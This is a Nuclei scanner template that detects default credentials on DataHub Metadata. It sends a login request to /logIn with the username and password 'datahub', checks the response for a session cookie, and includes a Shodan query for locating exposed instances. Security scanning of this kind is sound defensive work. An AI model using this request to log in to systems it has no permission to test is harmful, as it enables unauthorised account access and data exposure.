id: datahub-metadata-default-login

info:
  name: DataHub Metadata - Default Login
  author: queencitycyber
  severity: high
  description: DataHub Metadata contains a default login vulnerability.  An attacker can obtain access to user accounts and access sensitive information, modify data, and/or execute unauthorized operations.
  reference:
    - https://github.com/datahub-project/datahub/blob/master/docs/rfc/active/access-control/access-control.md
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
    cvss-score: 8.3
    cwe-id: CWE-522
    cpe: cpe:2.3:a:datahub_project:datahub:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.title:"DataHub"
    product: datahub
    vendor: datahub_project
  tags: datahub,default-login,vuln

http:
  - raw:
      - |
        POST /logIn HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"username":"{{username}}","password":"{{password}}"}

    attack: pitchfork
    payloads:
      username:
        - datahub
      password:
        - datahub

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - 'Set-Cookie: actor=urn:li:corpuser:datahub;'

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100930d8de43ad9fdf1a9a7a95bb9d82033cf3d10ddc15bc263c5255b14e84746c002203480e487d96fc4500685788466a9921f52def11afdbd8788ac47602551063537:922c64590222798bb761d5b6d8e72950